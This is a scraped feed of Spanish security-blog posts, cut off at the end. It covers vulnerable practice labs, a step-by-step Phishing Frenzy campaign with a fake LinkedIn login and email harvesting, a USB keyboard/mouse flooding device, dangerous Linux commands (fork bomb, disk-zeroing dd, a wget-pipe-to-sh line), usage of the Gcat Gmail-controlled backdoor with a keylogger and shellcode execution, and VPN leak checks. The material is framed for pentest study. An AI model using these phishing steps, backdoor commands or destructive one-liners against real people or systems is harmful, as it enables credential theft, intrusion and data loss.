Quantcast
Channel: hackplayers
Viewing all 1664 articles
Browse latest View live

Recopilatorio de aplicaciones y sistemas vulnerables para practicar

$
0
0
Aman Hardikar recopila en su web un interesante recopilatorio de aplicaciones y sistemas vulnerables para practicar. No os perdáis tampoco su mindmap. Bon Appétit!

Aplicaciones web vulnerables
OWASP BWA http://code.google.com/p/owaspbwa/
OWASP Hackademic http://hackademic1.teilar.gr/
OWASP SiteGenerator https://www.owasp.org/index.php/Owasp_SiteGenerator
OWASP Bricks http://sourceforge.net/projects/owaspbricks/
OWASP Security Shepherd https://www.owasp.org/index.php/OWASP_Security_Shepherd
Damn Vulnerable Web App (DVWA) http://www.dvwa.co.uk/
Damn Vulnerable Web Services (DVWS) http://dvws.professionallyevil.com/
WebGoat.NET https://github.com/jerryhoff/WebGoat.NET/
PentesterLab https://pentesterlab.com/
Butterfly Security Project http://thebutterflytmp.sourceforge.net/
Foundstone Hackme Bank http://www.mcafee.com/us/downloads/free-tools/hacme-bank.aspx
Foundstone Hackme Books http://www.mcafee.com/us/downloads/free-tools/hacmebooks.aspx
Foundstone Hackme Casino http://www.mcafee.com/us/downloads/free-tools/hacme-casino.aspx
Foundstone Hackme Shipping http://www.mcafee.com/us/downloads/free-tools/hacmeshipping.aspx
Foundstone Hackme Travel http://www.mcafee.com/us/downloads/free-tools/hacmetravel.aspx
LAMPSecurity http://sourceforge.net/projects/lampsecurity/
Moth http://www.bonsai-sec.com/en/research/moth.php
WackoPicko https://github.com/adamdoupe/WackoPicko
BadStore http://www.badstore.net/
WebSecurity Dojo http://www.mavensecurity.com/web_security_dojo/
BodgeIt Store http://code.google.com/p/bodgeit/
hackxor http://hackxor.sourceforge.net/cgi-bin/index.pl
SecuriBench http://suif.stanford.edu/~livshits/securibench/
SQLol https://github.com/SpiderLabs/SQLol
CryptOMG https://github.com/SpiderLabs/CryptOMG
XMLmao https://github.com/SpiderLabs/XMLmao
Exploit KB Vulnerable Web App http://exploit.co.il/projects/vuln-web-app/
PHDays iBank CTF http://blog.phdays.com/2012/05/once-again-about-remote-banking.html
GameOver http://sourceforge.net/projects/null-gameover/
Zap WAVE http://code.google.com/p/zaproxy/downloads/detail?name=zap-wave-0.1.zip
PuzzleMall http://code.google.com/p/puzzlemall/
VulnApp http://www.nth-dimension.org.uk/blog.php?id=88
sqli-labs https://github.com/Audi-1/sqli-labs
Drunk Admin Web Hacking Challenge https://bechtsoudis.com/work-stuff/challenges/drunk-admin-web-hacking-challenge/
bWAPP http://www.mmeit.be/bwapp/
http://sourceforge.net/projects/bwapp/files/bee-box/
NOWASP / Mutillidae 2 http://sourceforge.net/projects/mutillidae/
SocketToMe http://digi.ninja/projects/sockettome.php
Sistemas operativos vulnerables
Damn Vulnerable Linux http://sourceforge.net/projects/virtualhacking/files/os/dvl/
Metasploitable http://sourceforge.net/projects/virtualhacking/files/os/metasploitable/
LAMPSecurity http://sourceforge.net/projects/lampsecurity/
UltimateLAMP http://www.amanhardikar.com/mindmaps/practice-links.html
heorot: DE-ICE, hackerdemia http://hackingdojo.com/downloads/iso/De-ICE_S1.100.iso http://hackingdojo.com/downloads/iso/De-ICE_S1.110.iso http://hackingdojo.com/downloads/iso/De-ICE_S1.120.iso http://hackingdojo.com/downloads/iso/De-ICE_S2.100.iso hackerdemia - http://hackingdojo.com/downloads/iso/De-ICE_S1.123.iso
pWnOS http://www.pwnos.com/
Holynix http://sourceforge.net/projects/holynix/files/
Kioptrix http://www.kioptrix.com/blog/
exploit-exercises - nebula, protostar, fusion http://exploit-exercises.com/download
PenTest Laboratory http://pentestlab.org/lab-in-a-box/
RebootUser Vulnix http://www.rebootuser.com/?page_id=1041
neutronstar http://neutronstar.org/goatselinux.html
scriptjunkie.us http://www.scriptjunkie.us/2012/04/the-hacker-games/
21LTR http://21ltr.com/scenes/
SecGame # 1: Sauron http://sg6-labs.blogspot.co.uk/2007/12/secgame-1-sauron.html
Pentester Lab https://www.pentesterlab.com/exercises
Vulnserver http://www.thegreycorner.com/2010/12/introducing-vulnserver.html
TurnKey Linux http://www.turnkeylinux.org/
Bitnami https://bitnami.com/stacks
Elastic Server http://elasticserver.com
CentOS http://www.centos.org/
Sitios para descargar versiones antiguas de software
Exploit-DB http://www.exploit-db.com/
Old Version http://www.oldversion.com/
Old Apps http://www.oldapps.com/
VirtualHacking Repo sourceforge.net/projects/virtualhacking/files/apps%40realworld/
Sitios por fabricante de software de testing de seguridad
Acunetix acuforum http://testasp.vulnweb.com/
Acunetix acublog http://testaspnet.vulnweb.com/
Acunetix acuart http://testphp.vulnweb.com/
Cenzic crackmebank http://crackme.cenzic.com
HP freebank http://zero.webappsecurity.com
IBM altoromutual http://demo.testfire.net/
Mavituna testsparker http://aspnet.testsparker.com
Mavituna testsparker http://php.testsparker.com
NTOSpider Test Site http://www.webscantest.com/
Sitios para mejorar tu perfil de hacking
EnigmaGroup http://www.enigmagroup.org/
Exploit Exercises http://exploit-exercises.com/
Google Gruyere http://google-gruyere.appspot.com/
Gh0st Lab http://www.gh0st.net/
Hack This Site http://www.hackthissite.org/
HackThis http://www.hackthis.co.uk/
HackQuest http://www.hackquest.com/
Hack.me https://hack.me
Hacking-Lab https://www.hacking-lab.com
Hacker Challenge http://www.dareyourmind.net/
Hacker Test http://www.hackertest.net/
hACME Game http://www.hacmegame.org/
Hax.Tor http://hax.tor.hu/
OverTheWire http://www.overthewire.org/wargames/
PentestIT http://www.pentestit.ru/en/
pwn0 https://pwn0.com/home.php
RootContest http://rootcontest.com/
Root Me http://www.root-me.org/?lang=en
Security Treasure Hunt http://www.securitytreasurehunt.com/
Smash The Stack http://www.smashthestack.org/
TheBlackSheep and Erik http://www.bright-shadows.net/
ThisIsLegal http://thisislegal.com/
Try2Hack http://www.try2hack.nl/
WabLab http://www.wablab.com/hackme
XSS: Can You XSS This? http://canyouxssthis.com/HTMLSanitizer/
XSS: ProgPHP http://xss.progphp.com/
Sitios de CTF / Archivos
CTFtime (Details of CTF Challenges) http://ctftime.org/ctfs/
shell-storm Repo http://shell-storm.org/repo/CTF/
CAPTF Repo http://captf.com/
VulnHub https://www.vulnhub.com
Aplicaciones móviles
ExploitMe Mobile Android Labs http://securitycompass.github.io/AndroidLabs/
ExploitMe Mobile iPhone Labs http://securitycompass.github.io/iPhoneLabs/
OWASP iGoat http://code.google.com/p/owasp-igoat/
OWASP Goatdroid https://github.com/jackMannino/OWASP-GoatDroid-Project
Damn Vulnerable iOS App (DVIA) http://damnvulnerableiosapp.com/
Damn Vulnerable Android App (DVAA) https://code.google.com/p/dvaa/
Damn Vulnerable FirefoxOS Application (DVFA) https://github.com/pwnetrationguru/dvfa/
NcN Wargame http://noconname.org/evento/wargame/
Hacme Bank Android http://www.mcafee.com/us/downloads/free-tools/hacme-bank-android.aspx
InsecureBank http://www.paladion.net/downloadapp.html
Miscelánea
VulnVPN http://www.rebootuser.com/?page_id=1041
VulnVoIP http://www.rebootuser.com/?page_id=1041
NETinVM http://informatica.uv.es/~carlos/docencia/netinvm/
GNS3 http://sourceforge.net/projects/gns-3/
XAMPP https://www.apachefriends.org/index.html

Cómo hacer una campaña de phishing paso a paso con Phishing Frenzy

$
0
0
Phishing Frenzy es una aplicación de código abierto en Ruby on Rails que pueden adoptar los pentesters para gestionar campañas correo de electrónico de phishing. El proyecto lo inició en 2013 Brandon "zeknox" McCann para hacer más eficiente el proceso haciendo las campañas de phishing lo más realistas posibles a través de su gestión, reutilización de plantillas, generación de estadísticas y otras características.

Vamos a hacer una campaña de ejemplo para que os hagáis una idea del uso de la herramienta y de sus posibilidades. Para ello, vamos a idear un phishing falsificando la página de login de LinkedIn, recopilando las direcciones de correo de una empresa y enviando como gancho un mensaje con un enlace a una supuesta oferta de empleo.

Empezaremos instalando Phishing Frenzy en una máquina virtual Kali Linux pero, en lugar de invertir más de una hora en instalar paso a paso lo necesario, vamos a aprovechar Docker para bajarnos directamente el contenedor y empezar a usarlo en tan sólo unos minutos.

Para ello nos traemos e instalamos directamente el repositorio:

vmotos@kali:~$ sudo docker pull b00stfr3ak/ubuntu-phishingfrenzy

Confirmamos que la imagen se ha instalado correctamente:

vmotos@kali:~$ sudo docker images
REPOSITORY                         TAG                 IMAGE ID            CREATED             VIRTUAL SIZE
b00stfr3ak/ubuntu-phishingfrenzy   latest              3863078923b4        3 months ago        1.24 GB

Y ejecutamos:

vmotos@kali:~$ sudo docker run -d -p 80:80 b00stfr3ak/ubuntu-phishingfrenzy
c8c31f9e4979ab6e272cc816ad021da2f88d8ce3095c98403001a02529b03fd8            3863078923b4        3 months ago        1.24 GB

Si eres de los que te gusta trastear, puedes comprobar el funcionamiento del repositorio en Docker con:

root@kali:~# docker ps
CONTAINER ID        IMAGE                              COMMAND                CREATED             STATUS              PORTS                NAMES
c8c31f9e4979        b00stfr3ak/ubuntu-phishingfrenzy   "/bin/sh -c /startup   8 minutes ago      Up 48 minutes       0.0.0.0:80->80/tcp   tender_torvalds   

E incluso abrir un shell dentro del contenedor para revisar la configuración:

root@kali:~# docker exec -t -i c8c31f9e4979 /bin/bash
root@c8c31f9e4979:/# vi /etc/apache2/apache2.conf
....
# Phishing Freezy
Include pf.conf
...
root@c8c31f9e4979:/# vi /etc/apache2/pf.conf
VirtualHost *:80>
ServerName phishingfrenzy.local
# !!! Be sure to point DocumentRoot to 'public'!
DocumentRoot /var/www/phishing-frenzy/public
RailsEnv development

# This relaxes Apache security settings.
AllowOverride all
# MultiViews must be turned off.
Options -MultiViews

Como veis el virtual host de Apache tiene como ServerName
phishingfrenzy.local así que añadimos la entrada en nuestro fichero host local con la IP de la máquina virtual y abrimos la aplicación web con el navegador. Las credenciales por defecto son:

username: admin
password: Funt1me!



Lo primero que haremos es importar la plantilla de LinkedIn desde un repositorio en Github destinado a que la comunidad vaya subiendo y compartiendo más templates que sean útiles en distintos escenarios.

Para importar plantillas tenemos que ir a Templates y pulsar el botón Restore. Luego busca el archivo Zip e importa el template.  


Una vez importada, la plantilla estará disponible y lista para ser asignada para todas las futuras campañas de phishing.


Si quieres subir tu propio template tendrás que respetar la siguiente estructura de directorios:
root
|--archive
|   |-- templateName.zip
|
|--email
|   |-- email.html.erb
|
|--images
|   |-- email.jpg
|   |-- website.jpg
|
|--www
|   |-- index.php
|   |-- failed.php
|
|--README.txt
 
La carpeta 'archive' contendrá el archivo comprimido que se exportó desde el UI de Phishing Frenzy.
La carpeta 'email' contendrá el correo electrónico que se utiliza para para la plantilla de phishing.
La carpeta 'images' contiene imágenes frescas para que quede bonita la plantilla ;)
La carpeta www es la de los archivos que se utilizan para el sitio web de phishing. Esta puede incluir cualquier fichero necesario para ejecutar el sitio web (todos los css, js u otros archivos).


Pero volvamos a nuestra campaña. Ahora que tenemos preparada la plantilla vamos a empezar a recopilar las cuentas de correo de nuestras futuras víctimas. Antes de empezar con la enumeración tendremos que añadir una clave de búsqueda de Bing (Bing Search API). Activamos una suscripción y copiamos la clave de cuenta principal.


Vamos a 'Admin', 'Global Settings' y la añadimos:


Después vamos a 'Resources', 'Email Enumeration'. Indicamos el dominio a analizar y seleccionamos el número de enlaces a seguir:
 

Como resultado se nos mostrarán las cuentas obtenidas:


Si los resultados del harvester no nos parecen suficientes podemos complementar la búsqueda con otras herramientas. Por ejemplo con Metaploit:
msf > use auxiliary/gather/search_email_collector 
msf auxiliary(search_email_collector) > set DOMAIN dominio.com
DOMAIN => dominio.com
msf auxiliary(search_email_collector) > run

[*] Harvesting emails .....
[*] Searching Google for email addresses from dominio.com
[*] Extracting emails from Google search results...
[*] Searching Bing email addresses from dominio.com
[*] Extracting emails from Bing search results...
[*] Searching Yahoo for email addresses from dominio.com
[*] Extracting emails from Yahoo search results...
[*] Located 170 email addresses for dominio.com
[*] 19ee5962-8ff6-416d-83fa-b0ba137c62e7@dominio com
 
 o con TheHarvester:
root@kali:~# theharvester -d dominio.com -l 50 -b bing -f /tmp/resultado.html

A continuación creamos nuestra campaña de prueba:


Seleccionamos el template de LinkedIn y configuramos SMTP, que en mi caso es GMail (precarga las opciones):
 

Personalizamos un poco el email que será enviado a nuestras víctimas:


Seleccionamos los objetivos de la campaña. Podemos importar numerosos contactos directamente copiando de un csv y pegando las cuentas en el UI con este formato:
firstname0, lastname0, email0@domain.net
firstname1, lastname1, email1@domain.net
firstname2, lastname2, email2@domain.net
firstname3, lastname3, email3@domain.net
firstname4, lastname4, email4@domain.net
 
^*Los argumentos 'firstname' y 'lastname' son opcionales.


 
Y finalmente lanzamos la campaña ('launch'):


Si todo ha ido bien las víctimas deberían recibir un mail como este:


Y, si pinchan en el botón 'Confirm you know Sarah Rodriguez' del ejemplo, serán redireccionados a la URL que hayamos puesto con la página falsa de login:


Ahora sólo hay que sentarse con la caña y esperar a que piquen...


Y ésto es lo que sería la instalación básica e iniciación de una campaña de phishing. Por supuesto en un escenario real habría que trabajar algo más antes. Podríamos clonar un sitio web, anonimizar todos los nodos, activar SSL, inyectar javascript mediante los hooks de BeEf integrado e incluso obtener una shell mediante un ataque HTA Powershell. 

"Dale a un hombre un pescado y lo alimentarás por un día. Enséñale cómo pescar y lo alimentarás durante una vida".
570 aC-490 aC - Lao Tsé

El pendrive de la muerte

$
0
0
He creado un dispositivo, basado en Arduino Micro, que hace totalmente imposible el control de un ordenador al que se conecta mediante USB. Al conectarse, crea un teclado y un ratón virtual a través del puerto usb. Luego, envía caracteres aleatorios por el teclado seguidamente de un Intro después de cada uno, mueve el ratón en direcciones aleatorias girando también la rueda del ratón y por último da un click con el botón derecho, izquierdo o el del medio (la rueda) (aleatoriamente también) después de cada movimiento del ratón. 

He probado su potencia en VirtualBox: se empiezan a abrir ventanas de todo tipo tan rápido que no le da tiempo a mostrar una antes de que salgan unas cuantas más. También se abren archivos con el bloc de notas y, claro, se les mete un montón de m*ier*a con el teclado virtual. Después de un rato, en la pantalla ya se para el festival viendose ventanas a trozos. Entonces decido desconectar el dispositivo. Bueno, ya lo veréis en el video que grabé. 



Este dispositivo, si se hace con Arduino Micro, es relativamente fácil de encapsularlo en una carcasa de un pendrive y soldarle un conector usb de tipo A macho....
Así que ya sabes, si alguien te presta un pendrive y no es un pendrive normal... 

Bueno, para que no sea tan incontrolable, le he puesto unos pines de configuración que, si pones un puente entre el pin 2 y tierra debes enviar un "10" por el puerto serie para que empiece; y si lo pones entre el 2 y el 3 hay simplemente cuenta atras de 60 segundos. 

El código está distribuido bajo licencia GPL v3 y yo NO ME HAGO RESPONSABLE DE TODAS LAS MALDADES QUE HAGAIS CON ESTO.

Repositorio github del código: https://github.com/Aztemat/DoS-over-Mouse-Keyboard/

pd. El código es solo compatible con placas arduino que tienen el puerto USB nativo, que si no recuerdo mal son: Arduino Leonardo, Micro, Due y alguna más.

Saludos de Aztemat

Cómo transformar tu smartphone en una pantalla holográfica

$
0
0
Recientemente se ha armado cierto revuelo en torno a Holus, un proyecto de crowdfunding para desarrollar una pantalla de sobremesa que muestra hologramas. No obstante, la mayoría de los hologramas actuales son un efecto más que una tecnología. Todo el mundo sabe lo que son o deberían ser los hologramas - en gran parte gracias a la ciencia ficción de Hollywood - pero todavía estamos muy lejos de conseguirlo.

La ventaja de esa decepción, sin embargo, es que es totalmente posible hacer una visualización 3D decente 'holográfica' con un teléfono inteligente.

Como detalla el usuario de YouTube Mrwhosetheboss, el proceso es sencillo y no requiere nada más de un teléfono, una caja de CD vieja y un cuchillo afilado. Para hacerlo es necesario cortar cuatro formas trapezoidales de plástico - 6 cm de ancho en la parte inferior y 1 cm de ancho en la parte superior - que se peguen entre sí y colocarlos sobre la pantalla del teléfono mientras se reproduce un vídeo preparado para el propósito.

El resultado parece ser muy impresionante, creando lo que parece ser una forma 3D en el centro del 'display'.

En realidad es esencialmente un truco de fiesta (una vez que has visto una mariposa flotante ya las has visto todas), pero es muy interesante como algo nuevo que hacer con el móvil a coste cero y en sólo diez minutos.

Por supuesto, además de estas (aunque muy pequeñas) versiones táctiles, existen otros tipos más impresionantes de hologramas. Por ejemplo, Microsoft Hololens es otro intento de crear objetos aparentemente tangibles en el aire mediante una gafas auriculares. Pero hasta que esas tecnologías estén disponibles para el público, esto podría ser la mejor (y más barata) alternativa.

Fuente: How to turn your phone into a holographic display, for free

9 comandos peligrosos en Linux

$
0
0
El shell de Linux es muy potente y sólo una simple instrucción podría llevarnos a eliminar sin querer directorios, archivos, el raíz, etc. Linux no suele pedir confirmación sino que ejecuta el comando de inmediato pudiendo causar la pérdida de datos útiles.

Echa un vistazo a los 9 comandos más "peligrosos":

1. bomba fork

:(){ :|: & };: es una función bash. Una vez ejecutada, se repite varias veces hasta que el sistema se bloquea. Podríamos decir que causa una denegación de servicio hasta el punto que tenemos que reiniciar el servidor.

2. mv directorio/dev/null

mv directorio/dev/null es otro comando arriesgado. dev/null o el dispositivo null descarta todos los datos escritos en el pero informa que la operación de escritura se ha realizado correctamente. Es también conocido como agujero negro o bit bucked.

3. rm -rf

El comando rm -rf es para borrar archivos o directorios. Siempre hay que tener mucho cuidado al utilizarlo. El parámetro '-r' elimina el contenido de una carpeta de forma recursiva y el parámetro '-f' fuerza la eliminación sin preguntar.

4. mkfs

mkfs puede ser un comando peligroso si no conoces su propósito. Cualquier cosa después de mkfs será formateada y reemplazada por un sistema de archivos en blanco: mkfs, mkfs.ext3, mkfs.bfs, mkfs.ext2, mkfs.minix, mkfs.msdos, mkfs.reiserfs, mkfs.vfat, mkfs.cramfs (este último sin necesidad de tener permisos de administración).

5. bomba tar

Se trata de un archivo empaquetado que "explota" en miles o millones de archivos con nombres similares a los archivos existentes en el directorio actual en vez de en un directorio nuevo. La forma de evitarlo sería crear y entrar en un directorio nuevo antes de desempaquetarlo o listar el contenido previamente con -t.

6. dd

El comando dd se utiliza para copiar y convertir particiones del disco duro. Sin embargo, puede llegar a ser perjudicial si se especifica el destino equivocado.

El comando puede ser cualquiera de los siguientes:

    dd if=/dev/hda of=/dev/hdb
    dd if=/dev/hda of=/dev/sdb
    dd if=something of=/dev/hda
    dd if=something of=/dev/sda
    dd if=/dev/zero of=/dev/had (will zero out the whole primary hard drive)

7. Código shell script

Alguien podría enviarte un enlace para que descarges y ejecutes un shell script. Por ejemplo: wget http://some_malicious_source -O- | sh

8. Código fuente malicioso

Alguien podría facilitarte código fuente para compilarlo. Este código podría parecer un código normal, pero en realidad tratarse de algún código malicioso oculto entre código fuente normal que puede causar daños a tu sistema. Para evitar ser víctima de este tipo de ataque, sólo debes aceptar y compilar el código fuente de fuentes confiables.

9. Bomba de descompresión

Una bomba zip es un archivo que parece ser muy pequeño, de unos pocos KB, pero que cuando se descomprime lo hace en cientos de GB de datos pudiendo llenar tu disco duro para reducir el rendimiento del sistema. Si os acordáis hace tiempo ya hablamos en el blog de ellas.

Fuente: 9 Linux Commands To Be Known To Secure Your Linux From Danger

OneGet y Chocolatey, un "apt-get" para Windows

$
0
0
Una de las novedades de Windows 10 es la inclusión de OneGet, un interfaz de código abierto para sistemas de administración de paquetes con el que podemos:

- administrar una lista de repositorios de software en el que los paquetes se pueden buscar, adquirir e instalar
- buscar y filtrar repositorios para encontrar los paquetes que necesitamos
- instalar y desinstalar paquetes de una o más repositorios con un solo comando PowerShell

Lo bueno es que incluyen directamente un plugin para Chocolatey, un administrador de paquetes parecido a apt-get o yum pero para Windows, también de código abierto y que podemos usar incluso en Windows 7 y Windows 2008 R2.

Veamos un ejemplo instalando VLC en Windows 10:

C:\>  get-packageprovider -name chocolatey

The provider 'chocolatey v2.8.5.130' is not installed.
chocolatey may be manually downloaded from https://oneget.org/ChocolateyPr30.exe and installed.
Would you like PackageManagement to automatically download and install 'chocolatey'?

[Y] Yes  [N] No  [S] Suspend  [?] Help (default is "Y"): y

Name                     Version         
----                     -------         
Chocolatey               2.8.5.130       

C:\> install-package vlc

The provider 'nuget v2.8.5.127' is not installed.
nuget may be manually downloaded from https://oneget.org/nuget-anycpu-2.8.5.127.exe and installed.
Would you like PackageManagement to automatically download and install 'nuget' now?
[Y] Yes  [N] No  [S] Suspend  [?] Help (default is "Y"): y

The package(s) come from a package source that is not marked as trusted.
Are you sure you want to install software from 'chocolatey'?
[Y] Yes  [A] Yes to All  [N] No  [L] No to All  [S] Suspend  [?] Help (default is "N"): y

Name                           Version          Source           Summary
----                           -------          ------           -------
vlc                            2.2.1.20150630   chocolatey       VLC Media Player

Fuentes:
- Github OneGet: https://github.com/oneget/oneget
- cmdlets OneGet: https://github.com/OneGet/oneget/wiki/cmdlets
- Chocolatey: https://chocolatey.org/

BLEKey, un dispositivo para clonar tarjeras RFID por sólo 10$

$
0
0
Si eres informático y trabajas en una oficina seguramente llevarás colgada al cuello, como ganado en el redil, la típica tarjeta de identificación por radio-frecuencia (aka RFID) para acceder a las instalaciones. El problema... o lo divertido según se mire, es que estas tarjetas utilizan Wiegand, un protocolo "de la era del Apollo 11" bastante sencillo y sin seguridad nativa. De hecho, la falta de cifrado hace que sea fácil robar los códigos y otros datos necesarios para clonar las tarjetas de acceso físico.

Ayer en la Black Hat de Las Vegas, Eric Evenchick y Mark Baseggio presentaron BLEKey (de Bluetooth Low Energy), un dispositivo del tamaño de una moneda que se puede instalar en un minuto en un lector de tarjeta de proximidad y que se aprovecha de la debilidad del protocolo Wiegand para romper los controles de acceso físico que, hoy en día, están presentes en el 80 por ciento de las instalaciones. Aquí podéis ver un vídeo de su instalación:


Durante la charla ambos investigadores hicieron varias demos con tarjetas y lectores HID y repartieron los primeros dispositivos cuyo coste se estima en unos 10$.  Tiene un tamaño de 18×30 mm y se basa en BLE, o el modelo de bajo consumo de energía de Bluetooth. Además usa una batería que representa la mayor parte de su volumen, un chip Nordic (muy usado en wearables monitores de actividad), procesador, radio y software, además de otros componentes. Está previsto que muy pronto que publiquen los esquemas de hardware y el código fuente en GitHub. Veremos si puede ser una alternativa real (y sobretodo barata) a Proxmark3 y otros lectores/grabadores...

Fuentes:
- Accuvant researchers will be releasing an open source piece of hardware dubbed BLEkey that can be used to circumvent these RFID card readers.
- BLEKey Device Breaks RFID Physical Access Controls
- This $10 Device Can Clone RFID-equipped Access Cards Easily
- Getting physical: A $10 device to clone RFID access keys on the go
- Accuvant researchers to release open source RFID access tool

Gcat, un backdoor escrito en Python que utiliza Gmail como C&C

$
0
0
Gcat es un backdoor escrito en Python que utiliza Gmail como servidor de comando y control (C&C). Para hacerlo funcionar primero necesitarás una cuenta de Gmail dedicada (¡no uses la tuya personal!) y activar "permitir aplicaciones menos seguras" en la configuración de la misma.

Luego en el repositorio de GitHub encontrarás dos archivos:

- gcat.py: un script usado para enumerar y listar los comandos disponibles del cliente
- implant.py: el backdoor real a desplegar

En ambos archivos, edita las variables gmail_user y gmail_pwd con el nombre de usuario y la contraseña correspondientes. Probablemente también querrás compilar implant.py en un archivo ejecutable utilizando PyInstaller.

Uso:

optional arguments:
  -h, --help            show this help message and exit
  -v, --version         show program's version number and exit
  -id ID                Client to target
  -jobid JOBID          Job id to retrieve

  -list                 List available clients
  -info                 Retrieve info on specified client

Commands:
  Commands to execute on an implant

  -cmd CMD              Execute a system command
  -download PATH        Download a file from a clients system
  -exec-shellcode FILE  Execute supplied shellcode on a client
  -screenshot           Take a screenshot
  -lock-screen          Lock the clients screen
  -force-checkin        Force a check in
  -start-keylogger      Start keylogger
  -stop-keylogger       Stop keylogger

Una vez que has implementado el backdoor en un par de sistemas, puedes comprobar los clientes disponibles utilizando el comando list:

#~ python gcat.py -list
f964f907-dfcb-52ec-a993-543f6efc9e13 Windows-8-6.2.9200-x86
90b2cd83-cb36-52de-84ee-99db6ff41a11 Windows-XP-5.1.2600-SP3-x86

La salida es una cadena UUID que identifica de forma exclusiva el sistema y SO donde el backdoor se está ejecutando.

Ahora vamos a mandar un comando a un equipo infectado:
#~ python gcat.py -id 90b2cd83-cb36-52de-84ee-99db6ff41a11 -cmd 'ipconfig /all'
[*] Command sent successfully with jobid: SH3C4gv

Aquí le estamos diciendo a 90b2cd83-cb36-52de-84ee-99db6ff41a11 que ejecute ipconfig / all, luego el script mostrará el JobID que podremos utilizar para recuperar la salida de ese comando:
#~ python gcat.py -id 90b2cd83-cb36-52de-84ee-99db6ff41a11 -jobid SH3C4gv     
DATE: 'Tue, 09 Jun 2015 06:51:44 -0700 (PDT)'
JOBID: SH3C4gv
FG WINDOW: 'Command Prompt - C:\Python27\python.exe implant.py'
CMD: 'ipconfig /all'


Windows IP Configuration

        Host Name . . . . . . . . . . . . : unknown-2d44b52
        Primary Dns Suffix  . . . . . . . :
        Node Type . . . . . . . . . . . . : Unknown
        IP Routing Enabled. . . . . . . . : No
        WINS Proxy Enabled. . . . . . . . : No

Fuente: https://github.com/byt3bl33d3r/gcat

Comprobaciones básicas para ver si nuestra VPN es segura

$
0
0
Ya hemos hablado de servicios VPN gratis o de pago para mantener el anonimato y la privacidad. Pero, ¿son realmente seguros estos servicios?, ¿cómo podemos comprobar que realmente nos están protegiendo y no están filtrando datos sobre nuestra identidad?


Lo primero que debemos mirar es que nuestra IP real no se muestre y, por lo tanto, esté a salvo de cualquier seguimiento o tracking. Lo segundo son las fugas de información sobre nuestras consultas DNS. Si nuestro ISP todavía puede ver qué sitios estamos resolviendo/visitando entonces la VPN que usamos no es segura. Digamos que esas dos cosas (IP y DNS), y por supuesto que el tráfico vaya cifrado correctamente, es lo más básico que tenemos que comprobar para verificar que el servicio VPN que estamos usando nos está protegiendo realmente.


Existen algunos servicios online que podemos utilzar para comprobar que nuestra IP y geolocalización difieren de los reales. Por ejemplo: http://whoer.net/extended



Según el resultado del test, una vez conectados a la VPN, la dirección IP está geolocalizada en Rumanía aunque las settings de mi navegador me delatan, ya que el lenguaje que utilizo por defecto sigue siendo el español. Ya vimos que existen muchas formas de identificar a un usuario mediante el navegador e incluso hacer ataques de geo-inferencia viendo el caché, por lo que es recomendable usar un navegador standalone en un contenedor/sandbox y, si es posible, en una máquina virtual dedicada o (por qué no) física. De nada sirve usar un servicio VPN si luego vamos dejando una huella digital tan clara. Por ejemplo, existen proveedores como Cyber Ghost que te facilitan el control de la privacidad mediante unos pocos cambios en el navegador:



Luego, como comentábamos, hay que asegurarse de que nuestras peticiones DNS no están siendo recogidas y analizadas para hacernos un seguimiento. Es decir, que todo nuestro tráfico (peticiones de resolución incluidas) se esté redirigiendo hacia la red anónima. Si no, aunque tengamos configurado un DNS anónimo, nuestro ISP podría usar proxies transparentes e interceptar nuestras peticiones DNS (TCP/UDP 53).
Para comprobar qué servidor exactamente está resolviendo nuestras peticiones podemos usar: https://dnsleaktest.com



En mi caso es el DNS del proveedor de VPN, que no debería registrar y guardar logs de ninguna petición (siempre viene bien revisar las políticas de privacidad correspondientes).

Finalmente, el último aspecto básico a revisar es comprobar si las comunicaciones están siendo cifradas y si los algoritmos utilizados son seguros.
Para ello podemos esnifar el tráfico del interfaz virtual que utiliza la VPN. En Wireshark debemos primero seleccionarlo:



Y luego seguir el stream TLS:


Cómo veis, usando CyberGhost nuestro cliente ha negociado TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 (0xc027) con un servidor en el cloud de Amazon.
Es decir, usa un algoritmo de curva elíptica con Diffie Hellman firmado con claves RSA con AES de 128 bits y cifrado de bloques con SHA 256... o lo que es lo mismo, parece que nuestras comunicaciones están siendo cifradas de forma adecuada ;)


En resumen, estos son los tres aspectos básicos que debemos revisar cuando usamos un servicio VPN para mantener nuestra privacidad. Más adelante veremos algunas comprobaciones más avanzadas, configuraciones de routers como pasarela a estas VPN/redes anónimas, VPNs sobre VPNs, comparativas de estadísticas de red, etc.

Fuentes:
- Check VPN Security: IP Address & DNS Leaks
- How to Check if your VPN Connection is Secure 
- How to See If Your VPN Is Leaking Your IP Address (and How to Stop It)
- How to Check and see if your VPN Connection is Secure

Espectacular vídeo de un águila derribando un dron

Comandos en Linux para probar la velocidad de la línea de Internet

$
0
0
En algunas ocasiones necesitamos hacer pruebas de velocidad e incluso saturar nuestra línea de acceso a Internet para verificar que realmente podemos alcanzar el caudal contratado. Cuando esto ocurre muchas veces no disponemos de otro host remoto detrás de otra línea WAN y acabamos recurriendo a servidores FTP públicos que creemos que tienen buen ancho de banda, a mega.co.nz y hasta la Santísima Trinidad (incluso he visto usar clientes torrent y pensar en usar botnets!).

En esta entrada os voy a listar una serie de comandos para que los podáis copiar y pegar directamente en vuestro terminal y, simplemente desde vuestro equipo Linux (sin tienes dos mejor), podáis conseguir unas pruebas de benchmarking realmente impresionantes, sólo con iperf, wget, curl y poco más. Por supuesto también puedes currarte un sencillo script en shell para impresionar a tu jefe, o meter un while para petar una línea (cuidado con las que estén en producción).

Así que, al menos que quieras aprovechar para bajarte una serie desde la oficina, os recomiendo usar estos comandos contra estos servidores públicos de pruebas disponibles en Internet (por favor, si conoces más servidores públicos no dudes en comentar esta entrada):


Verificar IP pública
Muy útil para previamente asegurarnos qué línea vamos a comprobar.

curl -s checkip.dyndns.org | sed 's#.*Address: \(.*\)</b.*#\1#'
wget -qO - icanhazip.com
curl ifconfig.me
curl ident.me
dig +short myip.opendns.com @resolver1.opendns.com
lynx -dump ifconfig.me | grep 'IP Address'
curl ipecho.net/plain
curl bot.whatismyipaddress.com
curl ipinfo.io
curl ipogre.com

Servicios benchmarking:
Sitios dedicados o especializados en realizar tests de velocidad

wget dl.getipaddr.net/speedtest.sh -q -O- | bash 
curl -s dl.getipaddr.net/speedtest.sh -o- | bash
wget https://raw.github.com/blackdotsh/curl-speedtest/master/speedtest.sh && chmod u+x speedtest.sh && bash speedtest.sh
wget -O speedtest-cli https://raw.github.com/sivel/speedtest-cli/master/speedtest_cli.py && chmod +x speedtest-cli && ./speedtest-cli

Pruebas de descarga:
Ojo con enviar la descarga directamente a /dev/null si no queréis llenar rápidamente vuestro disco.


CacheFly (Canada):
